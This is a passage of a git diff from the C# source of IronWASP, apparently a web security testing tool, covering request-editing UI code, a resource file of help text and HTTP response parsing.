ResetBodyTypeFormatPluginsParametersChangedStatus(); + //} + if (UseSslChanged && this.DisplayedRequest != null) + { + this.DisplayedRequest.SSL = UseSSLCB.Checked; + ResetSslChangedStatus(); + } + this.ShowHideEmptyMessages(); + } + + void ClearBodyTypeFormatPluginsUi() + { + BodyParametersGrid.Rows.Clear(); + ConvertXmlToObjectBtn.Text = "Convert this XML to Object"; + FormatXmlTBP.ClearData(); + foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) + { + Row.Cells[0].Value = false; + } + ResetBodyFormatXmlChangedStatus(); + ResetBodyParametersChangedStatus(); + } + + void ResetAllChangedValueStatus() + { + ResetSslChangedStatus(); + ResetHeadersChangedStatus(); + ResetBodyChangedStatus(); + ResetUrlPathPartsChangedStatus(); + ResetQueryParametersChangedStatus(); + ResetBodyParametersChangedStatus(); + ResetBodyFormatXmlChangedStatus(); + ResetCookieParametersChangedStatus(); + ResetHeadersParametersChangedStatus(); + } + void ResetSslChangedStatus() + { + UseSslChanged = false; + } + void ResetHeadersChangedStatus() + { + HeadersChanged = false; + } + void ResetBodyChangedStatus() + { + BodyChanged = false; + } + void ResetUrlPathPartsChangedStatus() + { + UrlPathPartsChanged = false; + } + void ResetQueryParametersChangedStatus() + { + QueryParametersChanged = false; + } + void ResetBodyParametersChangedStatus() + { + BodyParametersChanged = false; + } + void ResetBodyFormatXmlChangedStatus() + { + BodyFormatXmlChanged = false; + } + void ResetCookieParametersChangedStatus() + { + CookieParametersChanged = false; + } + void ResetHeadersParametersChangedStatus() + { + HeadersParametersChanged = false; + } + + private void UseSSLCB_CheckedChanged(object sender, EventArgs e) + { + UseSslChanged = true; + if (DisplayedRequest != null && RequestChanged != null) + RequestChanged(); + } + + private void HeadersTBP_ValueChanged() + { + HeadersChanged = true; + if (DisplayedRequest != null && RequestChanged != null) + RequestChanged(); + } + + private void BodyTBP_ValueChanged() + { + BodyChanged = true; + if (DisplayedRequest != null && RequestChanged != null) + RequestChanged(); + } + + private void UrlPathPartsParametersGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) + { + UrlPathPartsChanged = true; + if (DisplayedRequest != null && RequestChanged != null) + RequestChanged(); + } + + private void QueryParametersGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) + { + QueryParametersChanged = true; + if (DisplayedRequest != null && RequestChanged != null) + RequestChanged(); + } + + private void CookieParametersGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) + { + CookieParametersChanged = true; + if (DisplayedRequest != null && RequestChanged != null) + RequestChanged(); + } + + private void HeadersParametersGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) + { + HeadersParametersChanged = true; + if (DisplayedRequest != null && RequestChanged != null) + RequestChanged(); + } + + private void BodyParametersGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) + { + BodyParametersChanged = true; + try + { + BodyParametersGrid.Rows[e.RowIndex].Cells[3].Value = Tools.Base64Encode(BodyParametersGrid.Rows[e.RowIndex].Cells[1].Value.ToString()); + } + catch { } + if (DisplayedRequest != null && RequestChanged != null) + RequestChanged(); + } + + private void FormatXmlTBP_ValueChanged() + { + BodyFormatXmlChanged = true; + } + + private void ConvertXmlToObjectBtn_Click(object sender, EventArgs e) + { + if (this.ReadOnly) return; + if (BodyFormatXmlChanged) + { + string XML = FormatXmlTBP.GetText(); + string PluginName = this.GetSelectedFormatPluginName(); + if (PluginName != "Normal" && PluginName.Length > 0 && XML.Length > 0) + this.SerializeNewXmlWithFormatPlugin(XML, PluginName); + } + ResetBodyFormatXmlChangedStatus(); + } + + private void FormatPluginsGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (this.DisplayedRequest == null) return; + string PluginName = ""; + CurrentFormatXml = ""; + CurrentXmlNameValueArray = new string[,]{}; + + bool Normal = false; + if (e.RowIndex == 0) + { + Normal = true; + this.SetBodyParameters(this.DisplayedRequest, false); + } + + foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) + { + if (e.RowIndex == Row.Index) + { + PluginName = Row.Cells[1].Value.ToString(); + } + if (Normal && (e.RowIndex == Row.Index)) + { + Row.Cells[0].Value = true; + } + else + { + Row.Cells[0].Value = false; + } + } + if (Normal) return; + + BodyParametersGrid.Rows.Clear(); + FormatXmlTBP.ClearData(); + ConvertXmlToObjectBtn.Text = "Convert this XML to Object"; + if (FormatPluginCallingThread != null) + { + try + { + FormatPluginCallingThread.Abort(); + } + catch { } + } + if (PluginName.Length == 0) return; + ShowStatusMsg(string.Format("Parsing Request body as {0}", PluginName)); + ShowProgressBar(true); + FormatPluginCallingThread = new Thread(DeserializeWithFormatPlugin); + FormatPluginCallingThread.Start(PluginName); + } + + void DeserializeWithFormatPlugin(object PluginNameObject) + { + string PluginName = PluginNameObject.ToString(); + try + { + Request Req = DisplayedRequest.GetClone(true); + FormatPlugin FP = FormatPlugin.Get(PluginName); + CurrentFormatXml = FP.ToXmlFromRequest(Req); + CurrentXmlNameValueArray = FormatPlugin.XmlToArray(CurrentFormatXml); + ShowStatusMsg(""); + SetDeserializedDataInUi(PluginName, CurrentFormatXml, CurrentXmlNameValueArray); + this.ResetBodyParametersChangedStatus(); + ShowProgressBar(false); + } + catch (ThreadAbortException) + { + ShowStatusMsg(""); + } + catch (Exception Exp) + { + IronException.Report(string.Format("Error converting Request to {0}", PluginName), Exp); + ShowErrorMsg(string.Format("Unable to parse Request body as {0}", PluginName)); + ShowProgressBar(false); + } + } + + delegate void SetDeserializedDataInUi_d(string PluginName, string XML, string[,] XmlNameValueArray); + void SetDeserializedDataInUi(string PluginName, string XML, string[,] XmlNameValueArray) + { + if (this.BaseTabs.InvokeRequired) + { + SetDeserializedDataInUi_d InvokeDelegate_d = new SetDeserializedDataInUi_d(SetDeserializedDataInUi); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { PluginName, XML, XmlNameValueArray }); + } + else + { + foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) + { + if (Row.Cells[1].Value.ToString().Equals(PluginName)) + Row.Cells[0].Value = true; + else + Row.Cells[0].Value = false; + } + FormatXmlTBP.SetText(XML); + ConvertXmlToObjectBtn.Text = string.Format("Convert this XML to {0}", PluginName); + BodyParametersGrid.Rows.Clear(); + for (int i = 0; i < XmlNameValueArray.GetLength(0); i++) + { + int RowId = BodyParametersGrid.Rows.Add(new object[] { XmlNameValueArray[i, 0], Tools.Base64Decode(XmlNameValueArray[i, 1]), Properties.Resources.Glass, XmlNameValueArray[i, 1] }); + BodyParametersGrid.Rows[RowId].Cells[1].ReadOnly = this.ReadOnly; + } + ShowBodyFormatOptions(); + this.ShowHideEmptyMessages(); + } + } + + delegate void SetUpdatedDeserializedXmlInUi_d(string XML); + void SetUpdatedDeserializedXmlInUi(string XML) + { + if (this.BaseTabs.InvokeRequired) + { + SetUpdatedDeserializedXmlInUi_d InvokeDelegate_d = new SetUpdatedDeserializedXmlInUi_d(SetUpdatedDeserializedXmlInUi); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { XML }); + } + else + { + FormatXmlTBP.SetText(XML); + } + } + + void SerializeNewParametersWithFormatPlugin(string[,] EditedXmlNameValueArray, string PluginName) + { + for (int i = 0; i < this.CurrentXmlNameValueArray.GetLength(0); i++) + { + if(this.CurrentXmlNameValueArray[i,0].Equals(EditedXmlNameValueArray[i,0])) + { + if (!this.CurrentXmlNameValueArray[i, 1].Equals(EditedXmlNameValueArray[i, 1])) + { + this.CurrentFormatXml = FormatPlugin.InjectInXml(this.CurrentFormatXml, i, EditedXmlNameValueArray[i, 1]); + } + } + } + this.CurrentXmlNameValueArray = EditedXmlNameValueArray; + this.SetUpdatedDeserializedXmlInUi(this.CurrentFormatXml); + this.SerializeNewXmlWithFormatPlugin(this.CurrentFormatXml, PluginName); + } + void SerializeNewXmlWithFormatPlugin(string XML, string PluginName) + { + this.CurrentFormatXml = XML; + this.CurrentXmlNameValueArray = FormatPlugin.XmlToArray(this.CurrentFormatXml); + if (FormatPluginCallingThread != null) + { + try + { + FormatPluginCallingThread.Abort(); + } + catch { } + } + ShowProgressBar(true); + ShowStatusMsg(string.Format("Updating edited values in {0}", PluginName)); + FormatPluginCallingThread = new Thread(SerializeNewXmlWithFormatPlugin); + FormatPluginCallingThread.Start(PluginName); + } + + void SerializeNewXmlWithFormatPlugin(object PluginNameObject) + { + string PluginName = PluginNameObject.ToString(); + try + { + Request Req = DisplayedRequest.GetClone(true); + FormatPlugin FP = FormatPlugin.Get(PluginName); + Request NewRequest = FP.ToRequestFromXml(Req, CurrentFormatXml); + this.DisplayedRequest = NewRequest; + ShowStatusMsg(""); + this.SetNonFormatPluginRequestFields(NewRequest); + ShowProgressBar(false); + } + catch (ThreadAbortException) + { + ShowStatusMsg(""); + } + catch (Exception Exp) + { + IronException.Report(string.Format("Error converting {0} to Request", PluginName), Exp); + ShowErrorMsg(string.Format("Unable to update edited values in {0}", PluginName)); + ShowProgressBar(false); + } + } + delegate void SetNonFormatPluginRequestFields_d(Request Req); + void SetNonFormatPluginRequestFields(Request Req) + { + if (this.BaseTabs.InvokeRequired) + { + SetNonFormatPluginRequestFields_d InvokeDelegate_d = new SetNonFormatPluginRequestFields_d(SetNonFormatPluginRequestFields); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Req }); + } + else + { + this.SetHeader(Req); + this.SetBody(Req); + this.SetUrlPathPartsParameters(Req); + this.SetQueryParameters(Req); + ///this.SetBodyParameters(Req); + this.SetCookieParameters(Req); + this.SetHeadersParameters(Req); + } + } + + string GetSelectedFormatPluginName() + { + foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + if (Row.Index == 0) + return "Normal"; + else + return Row.Cells[1].Value.ToString(); + } + } + return ""; + } + + private void BaseTabs_Deselecting(object sender, TabControlCancelEventArgs e) + { + try + { + this.HandleAllDataChanges(); + } + catch (Exception Exp) { ShowErrorMsg(Exp.Message); } + } + + private void BodyParametersFormatTypeTabs_Deselecting(object sender, TabControlCancelEventArgs e) + { + try + { + this.HandleAllDataChanges(); + } + catch (Exception Exp) { ShowErrorMsg(Exp.Message); } + } + + private void RequestView_Load(object sender, EventArgs e) + { + FormatPluginsGrid.Rows.Clear(); + FormatPluginsGrid.Rows.Add(new object[] { false, " -- " }); + foreach (string Name in FormatPlugin.List()) + { + FormatPluginsGrid.Rows.Add(new object[]{false, Name}); + } + HideBodyFormatOptions(); + } + + private void ScanBodyTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + if (ScanBodyTabs.SelectedIndex == 1 && BodyTabSplit.Panel1Collapsed) + { + ScanBodyTabs.SelectTab(0); + } + } + + private void BodyFormatLbl_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + if (BodyFormatLbl.Text.StartsWith("Hide")) + { + HideBodyFormatOptions(); + } + else + { + ShowBodyFormatOptions(); + } + } + + void ShowBodyFormatOptions() + { + BodyFormatLbl.Text = "Hide Body Format Options"; + BodyTabSplit.Panel1Collapsed = false; + ScanBodyTabs.TabPages[1].Text = " Format Plugin XML (For Format Plugin Developers) "; + } + void HideBodyFormatOptions() + { + BodyFormatLbl.Text = "Show Body Format Options"; + BodyTabSplit.Panel1Collapsed = true; + ScanBodyTabs.TabPages[1].Text = ""; + ScanBodyTabs.SelectTab(0); + } + + private void BodyParametersGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex == 2) + { + ExpandedParameterSection = "Body"; + ExpandedParameterIndex = e.RowIndex; + try + { + SetEditTab(Tools.Base64DecodeToByteArray(BodyParametersGrid.Rows[e.RowIndex].Cells[3].Value.ToString())); + } + catch + { + SetEditTab(BodyParametersGrid.Rows[e.RowIndex].Cells[3].Value.ToString()); + } + } + } + + void SetEditTab(string Value) + { + EditTBP.SetText(Value); + BaseTabs.TabPages["EditingTab"].Text = " Selected Parameter Value "; + BaseTabs.SelectTab("EditingTab"); + } + + void SetEditTab(byte[] Value) + { + EditTBP.SetBytes(Value); + BaseTabs.TabPages["EditingTab"].Text = " Selected Parameter Value "; + BaseTabs.SelectTab("EditingTab"); + } + void ClearEditTab() + { + EditTBP.SetText(""); + BaseTabs.TabPages["EditingTab"].Text = " "; + if (BaseTabs.SelectedTab.Name == "EditingTab") + { + BaseTabs.SelectTab("HeadersTab"); + } + } + + void ShowHideEmptyMessages() + { + if (this.DisplayedRequest == null) + { + BodyTBP.Visible = true; + UrlPathPartsParametersGrid.Visible = true; + QueryParametersGrid.Visible = true; + BodyParamsPanel.Visible = true; + CookieParametersGrid.Visible = true; + HeadersParametersGrid.Visible = true; + + BodyEmptyLbl.Visible = false; + BodyAddLL.Visible = false; + UrlPathPartsEmptyLbl.Visible = false; + QueryParamEmptyLbl.Visible = false; + BodyParamEmptyLbl.Visible = false; + CookieParamEmptyLbl.Visible = false; + HeaderParamEmptyLbl.Visible = false; + } + else + { + if (BodyTBP.Text.Length == 0) + { + BodyTBP.Visible = false; + BodyEmptyLbl.Visible = true; + if (this.ReadOnly) + { + BodyAddLL.Visible = false; + } + else + { + BodyAddLL.Visible = true; + } + } + else + { + BodyTBP.Visible = true; + BodyEmptyLbl.Visible = false; + BodyAddLL.Visible = false; + } + if(UrlPathPartsParametersGrid.Rows.Count == 0) + { + UrlPathPartsParametersGrid.Visible = false; + UrlPathPartsEmptyLbl.Visible = true; + } + else + { + UrlPathPartsParametersGrid.Visible = true; + UrlPathPartsEmptyLbl.Visible = false; + } + if (QueryParametersGrid.Rows.Count == 0) + { + QueryParametersGrid.Visible = false; + QueryParamEmptyLbl.Visible = true; + } + else + { + QueryParametersGrid.Visible = true; + QueryParamEmptyLbl.Visible = false; + } + if (BodyTBP.Text.Length == 0) + { + BodyParamsPanel.Visible = false; + BodyParamEmptyLbl.Visible = true; + } + else + { + BodyParamsPanel.Visible = true; + BodyParamEmptyLbl.Visible = false; + } + if (CookieParametersGrid.Rows.Count == 0) + { + CookieParametersGrid.Visible = false; + CookieParamEmptyLbl.Visible = true; + } + else + { + CookieParametersGrid.Visible = true; + CookieParamEmptyLbl.Visible = false; + } + if (HeadersParametersGrid.Rows.Count == 0) + { + HeadersParametersGrid.Visible = false; + HeaderParamEmptyLbl.Visible = true; + } + else + { + HeadersParametersGrid.Visible = true; + HeaderParamEmptyLbl.Visible = false; + } + } + } + + private void SaveEditsLbl_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + switch (ExpandedParameterSection) + { + case ("UrlPathParts"): + UrlPathPartsParametersGrid.Rows[ExpandedParameterIndex].Cells[1].Value = EditTBP.GetText(); + UrlPathPartsChanged = true; + BaseTabs.SelectTab("UrlPathPartsParametersTab"); + break; + case ("Query"): + QueryParametersGrid.Rows[ExpandedParameterIndex].Cells[1].Value = EditTBP.GetText(); + QueryParametersChanged = true; + BaseTabs.SelectTab("QueryParametersTab"); + break; + case("Body"): + string Name = BodyParametersGrid.Rows[ExpandedParameterIndex].Cells[0].Value.ToString(); + string NormalValue = EditTBP.GetText(); + string EncodedValue = ""; + if (EditTBP.IsBinary) + { + EncodedValue = Tools.Base64EncodeByteArray(EditTBP.GetBytes()); + } + else + { + EncodedValue = Tools.Base64Encode(EditTBP.GetText()); + } + + BodyParametersGrid.Rows.RemoveAt(ExpandedParameterIndex); + BodyParametersGrid.Rows.Insert(ExpandedParameterIndex, new object[] { Name, NormalValue, Properties.Resources.Glass, EncodedValue }); + BodyParametersChanged = true; + BaseTabs.SelectTab("BodyParametersTab"); + break; + case ("Cookie"): + CookieParametersGrid.Rows[ExpandedParameterIndex].Cells[1].Value = EditTBP.GetText(); + CookieParametersChanged = true; + BaseTabs.SelectTab("CookieParametersTab"); + break; + case ("Headers"): + HeadersParametersGrid.Rows[ExpandedParameterIndex].Cells[1].Value = EditTBP.GetText(); + HeadersParametersChanged = true; + BaseTabs.SelectTab("HeadersParametersTab"); + break; + } + ClearEditTab(); + } + + private void QueryParametersGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex == 2) + { + ExpandedParameterSection = "Query"; + ExpandedParameterIndex = e.RowIndex; + SetEditTab(QueryParametersGrid.Rows[e.RowIndex].Cells[1].Value.ToString()); + } + } + + private void UrlPathPartsParametersGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex == 2) + { + ExpandedParameterSection = "UrlPathParts"; + ExpandedParameterIndex = e.RowIndex; + SetEditTab(UrlPathPartsParametersGrid.Rows[e.RowIndex].Cells[1].Value.ToString()); + } + } + + private void CookieParametersGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex == 2) + { + ExpandedParameterSection = "Cookie"; + ExpandedParameterIndex = e.RowIndex; + SetEditTab(CookieParametersGrid.Rows[e.RowIndex].Cells[1].Value.ToString()); + } + } + + private void HeadersParametersGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex == 2) + { + ExpandedParameterSection = "Headers"; + ExpandedParameterIndex = e.RowIndex; + SetEditTab(HeadersParametersGrid.Rows[e.RowIndex].Cells[1].Value.ToString()); + } + } + + private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + if (e.TabPage.Text.Trim().Length == 0) + { + e.Cancel = true; + return; + } + } + + private void BodyAddLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + BodyEmptyLbl.Visible = false; + BodyAddLL.Visible = false; + BodyTBP.Visible = true; + } + } +} diff --git a/Iron/RequestView.resx b/Iron/RequestView.resx new file mode 100644 index 0000000..cb3face --- /dev/null +++ b/Iron/RequestView.resx @@ -0,0 +1,262 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + This control displays the HTTP Request. If it is not in read-only mode then you can also edit and modify the Request from here. +There are four major sections here- + +Headers: +Contains the Headers of the Request. Contains both a text and hex view and the ability to search the displayed value. + +Body: +Contains Body of the Request. Contains both a text and hex view and the ability to search the displayed value. + +Other Parameters: +This section displays the various parameters contained in the Request. + 1) Url Path Parts - this is the path values in the URL + 2) Query - names and values in the querystring + 3) Cookie - the cookies contained in the Request + 4) Headers - The Request headers other than Host and Cookie + +Other than UrlPathParts all parameters are displayed here in 'parameter name - parameter value' form for easy reading and editing. +UrlPathPart displays the position of the path and the value. +The values of the Query and Cookie parameters are url-decoded before displaying. And any changes made here are url-encoded before adding it to the respective sections. In case of Headers and UrlPathParts other encoding/decoding schemes specific to those sections are used. + + +Body Parameters: +The body parameters are parsed and displayed here in 'parameter name - parameter value' form for easy reading and editing. +The value of the parameters are url-decoded before displaying. And any changes made here are url-encoded before adding it to the Request body. + +If the Request body is in some other format like JSON, XML, Multipart etc then you can view it from the 'Other Known Formats' section. +Here, on the left you are shown a list of data formats supported by IronWASP, when you click on any of the format the Request body is parsed as the selected format. +The values from the parsed format and the corresponding property names are displayed after parsing. +If you make any changes to these values then switch to the 'Body' section, when you do this the values are inserted back in to the original format and displayed. +This section handles format specific encoding automatically. For example if you enter a value containing < or > in an XML value then it is automatically XML encoded. +You can add support for more data formats by creating a Format Plugin for that format in Python or Ruby. +Format Plugins simply convert a data format to XML and then the XML back to the original format. This converted XML can be seen in the 'Normalized XML View' section. + + \ No newline at end of file diff --git a/Iron/Resources/Expand.png b/Iron/Resources/Expand.png new file mode 100644 index 0000000..899437f Binary files /dev/null and b/Iron/Resources/Expand.png differ diff --git a/Iron/Resources/Glass.png b/Iron/Resources/Glass.png new file mode 100644 index 0000000..8700d15 Binary files /dev/null and b/Iron/Resources/Glass.png differ diff --git a/Iron/Resources/Pause.png b/Iron/Resources/Pause.png new file mode 100644 index 0000000..997d4ee Binary files /dev/null and b/Iron/Resources/Pause.png differ diff --git a/Iron/Resources/Play.bmp b/Iron/Resources/Play.bmp new file mode 100644 index 0000000..3511b06 Binary files /dev/null and b/Iron/Resources/Play.bmp differ diff --git a/Iron/Resources/Stop.png b/Iron/Resources/Stop.png new file mode 100644 index 0000000..14ebff0 Binary files /dev/null and b/Iron/Resources/Stop.png differ diff --git a/Iron/Resources/camera.png b/Iron/Resources/camera.png new file mode 100644 index 0000000..659c1a9 Binary files /dev/null and b/Iron/Resources/camera.png differ diff --git a/IronWASP/Response.cs b/Iron/Response.cs similarity index 95% rename from IronWASP/Response.cs rename to Iron/Response.cs index bbd1cf0..243c6e5 100644 --- a/IronWASP/Response.cs +++ b/Iron/Response.cs @@ -1,800 +1,826 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.IO; -using System.Collections.Generic; -using System.Text; -using System.Text.RegularExpressions; -using HtmlAgilityPack; -using System.Threading; -//using Fiddler; - -namespace IronWASP -{ - public class Response - { - //internal property - internal int ID=0; - internal string Host = "";//to be used inside IronProxy alone - - //only to be used when updating the log in DB & UI to aviod computation in the DB and UI threads - internal string StoredHeadersString = ""; - internal string StoredBinaryBodyString = ""; - - //used for checking binary status of response body - internal static List TextContentTypes = new List(); - - //Just a place holder to associate information with the Response object - internal Dictionary Flags = new Dictionary(); - - //private property - string bodyString = ""; - byte[] bodyArray = new byte[0]; - int code; - string status; - string httpVersion; - ResponseHeaderParameters headers;//must initialised in all constructors - HTML html = new HTML(); - string bodyEncoding = "ISO-8859-1"; - List setCookies = new List(); - string DefaultEncoding = "ISO-8859-1"; - bool isCharsetSet = false; - bool isSSlValid = true; - bool isHtml = false; - bool isJavaScript = false; - bool isJson = false; - bool isXml = false; - bool isCss = false; - - bool BodyFormatChecked = false; - - internal int TTL = 0; - internal string Source = "Shell"; - - //public getter/setter - public string BodyString - { - get - { - return bodyString; - } - set - { - this.SetBody(value); - } - } - - public string BinaryBodyString - { - get - { - return Convert.ToBase64String(this.BodyArray); - } - set - { - this.BodyArray = Convert.FromBase64String(value); - } - } - - public byte[] BodyArray - { - get - { - return bodyArray; - } - set - { - this.SetBody(value); - } - } - - public string ContentType - { - get - { - if (this.Headers.Has("Content-Type")) - { - return this.Headers.Get("Content-Type"); - } - else - { - return ""; - } - } - set - { - this.Headers.Set("Content-Type", value); - } - } - public string HttpVersion - { - get - { - return this.HTTPVersion; - } - } - - //public getter - public int BodyLength - { - get - { - if (this.bodyArray == null) - { - return 0; - } - else - { - return this.bodyArray.Length; - } - } - } - - public bool IsSSLValid - { - get - { - return this.isSSlValid; - } - } - - public bool IsSslValid - { - get - { - return this.isSSlValid; - } - } - - public bool IsCharsetSet - { - get - { - return this.isCharsetSet; - } - } - - public bool HasBody - { - get - { - if (this.bodyArray == null) return false; - if (this.bodyArray.Length > 0) - { - return true; - } - else - { - return false; - } - } - } - - public bool IsHtml - { - get - { - CheckBodyFormatAndHandleIt(); - return isHtml; - } - } - - public bool IsJavaScript - { - get - { - CheckBodyFormatAndHandleIt(); - return isJavaScript; - } - } - - public bool IsJson - { - get - { - CheckBodyFormatAndHandleIt(); - return isJson; - } - } - - public bool IsXml - { - get - { - CheckBodyFormatAndHandleIt(); - return isXml; - } - } - - public bool IsCss - { - get - { - CheckBodyFormatAndHandleIt(); - return isCss; - } - } - - public bool IsBinary - { - get - { - try - { - return Tools.IsBinary(this.BodyArray); - } - catch (Exception Exp) - { - IronException.Report("Error checking response body for binary content", Exp); - return false; - } - //if (TextContentTypes.Contains("$NONE") && !Headers.Has("Content-Type")) return false; - //foreach (string Type in TextContentTypes) - //{ - // if (ContentType.IndexOf(Type, StringComparison.OrdinalIgnoreCase) > -1) - // { - // return false; - // } - //} - //return true; - } - } - public int Code - { - get - { - return this.code; - } - } - public string Status - { - get - { - return this.status; - } - } - public string HTTPVersion - { - get - { - return this.httpVersion; - } - } - - public HTML Html - { - get - { - CheckBodyFormatAndHandleIt(); - return this.html; - } - } - - public string BodyEncoding - { - get - { - return this.bodyEncoding; - } - } - - public string ParsedBodyEncoding - { - get - { - return this.ParseOutEncoding(false); - } - } - - public List SetCookies - { - get - { - return this.setCookies; - } - } - public ResponseHeaderParameters Headers - { - get - { - return this.headers; - } - } - public int RoundTrip - { - get - { - return this.TTL; - } - } - - public bool IsRedirect - { - get - { - if (this.Code == 301 || this.Code == 302 || this.Code == 303 || this.Code == 307) - { - if (this.Headers.Has("Location")) - { - return true; - } - } - return false; - } - } - - internal Response(string ResponseString) - { - this.AbsorbResponseString(ResponseString); - } - - public Response(string ResponseHeaders, byte[] BodyArray) - { - this.AbsorbResponseString(ResponseHeaders + "bw=="); - this.SetBody(BodyArray); - } - - public Response(string ResponseHeaders, string BodyString) - { - this.AbsorbResponseString(ResponseHeaders + "bw=="); - this.SetBody(BodyString); - } - - internal Response(Fiddler.Session Sess) - { - this.headers = new ResponseHeaderParameters(this); - try - { - this.ID = Int32.Parse(Sess.oFlags["IronFlag-ID"]); - } - catch - { - this.ID = 0; - } - if (Sess.oFlags.ContainsKey("IronFlag-TTL")) - { - this.TTL = Int32.Parse(Sess.oFlags["IronFlag-TTL"]); - } - if (Sess.oFlags.ContainsKey("IronFlag-SslError")) - { - this.isSSlValid = false; - } - if (Sess.oFlags.ContainsKey("IronFlag-BuiltBy")) - { - this.Source = Sess.oFlags["IronFlag-BuiltBy"]; - } - this.httpVersion = Sess.oResponse.headers.HTTPVersion; - this.code = Sess.oResponse.headers.HTTPResponseCode; - try - { - if (Sess.oResponse.headers.HTTPResponseStatus.IndexOf(' ') > -1) - this.status = Sess.oResponse.headers.HTTPResponseStatus.Substring(Sess.oResponse.headers.HTTPResponseStatus.IndexOf(' ')).Trim(); - else - this.status = ""; - } - catch(Exception Exp) - { - Tools.Trace("Response.cs", "Invalid Fiddler Session Response Status - " + Sess.oResponse.headers.HTTPResponseStatus); - throw (Exp); - } - Fiddler.HTTPResponseHeaders ResHeaders = new Fiddler.HTTPResponseHeaders(); - foreach (Fiddler.HTTPHeaderItem HHI in Sess.oResponse.headers) - { - this.Headers.Add(HHI.Name, HHI.Value); - } - if (Sess.responseBodyBytes.Length > 0) - { - this.SetBody(Sess.responseBodyBytes); - } - } - - void AbsorbResponseString(string ResponseString) - { - this.headers = new ResponseHeaderParameters(this); - HTTPMessage Msg = new HTTPMessage(ResponseString); - string[] FirstHeaderParts = Msg.FirstHeader.Split(new char[] { ' ' }, 3); - if (FirstHeaderParts.Length < 3) - { - throw new Exception("Invalid Response Header"); - } - this.httpVersion = FirstHeaderParts[0]; - if (!(this.HTTPVersion.Equals("HTTP/1.1") || this.HTTPVersion.Equals("HTTP/1.0"))) - { - throw new Exception("Invalid Response Header"); - } - try - { - this.code = Convert.ToInt32(FirstHeaderParts[1]); - } - catch - { - throw new Exception("Invalid Response Header"); - } - this.status = FirstHeaderParts[2]; - this.headers = new ResponseHeaderParameters(this, Msg.Headers); - this.SetBody(Msg.BodyString); - } - - internal void SetBody(string BodyString) - { - this.BodyFormatChecked = false; - this.html = new HTML(); - if (BodyString == null) - { - this.SetEmptyBody(); - return; - } - else if(BodyString.Length == 0) - { - this.SetEmptyBody(); - return; - } - this.bodyString = BodyString; - this.bodyArray = Encoding.GetEncoding(this.GetEncoding()).GetBytes(this.bodyString); - this.Headers.Set("Content-Length", this.bodyArray.Length.ToString()); - //this.CheckBodyFormatAndHandleIt(); - } - - internal void SetBody(byte[] NewBodyArray) - { - this.BodyFormatChecked = false; - this.html = new HTML(); - if (NewBodyArray == null) - { - this.SetEmptyBody(); - return; - } - else if (NewBodyArray.Length == 0) - { - this.SetEmptyBody(); - return; - } - this.bodyArray = new byte[NewBodyArray.Length]; - NewBodyArray.CopyTo(this.bodyArray, 0); - this.bodyString = Encoding.GetEncoding(this.GetEncoding(NewBodyArray)).GetString(this.bodyArray); - this.Headers.Set("Content-Length", this.bodyArray.Length.ToString()); - //this.CheckBodyFormatAndHandleIt(); - } - - void SetEmptyBody() - { - this.bodyString = ""; - this.bodyArray = new byte[0]; - if (this.Headers.Has("Content-Length")) - { - this.Headers.Set("Content-Length", "0"); - } - } - - internal Response() - { - this.headers = new ResponseHeaderParameters(this); - } - - - string GetEncoding() - { - return this.GetEncoding(this.bodyString); - } - - string GetEncoding(byte[] BodyArray) - { - return this.GetEncoding(Encoding.GetEncoding("ISO-8859-1").GetString(BodyArray)); - } - - string GetEncoding(string BodyString) - { - - string ParsedEnc = ParseOutEncoding(BodyString); - if (ParsedEnc == "") - { - isCharsetSet = false; - this.bodyEncoding = DefaultEncoding; - ParsedEnc = DefaultEncoding; - } - else - { - isCharsetSet = true; - this.bodyEncoding = ParsedEnc; - } - return ParsedEnc; - } - - public string ParseOutEncoding() - { - return this.ParseOutEncoding(true); - } - - public string ParseOutEncoding(bool ValidCharsetOnly) - { - return this.ParseOutEncoding(this.BodyString, ValidCharsetOnly); - } - - string ParseOutEncoding(string BodyString) - { - return ParseOutEncoding(BodyString, true); - } - - string ParseOutEncoding(string BodyString, bool ValidCharsetOnly) - { - try - { - string Charset = 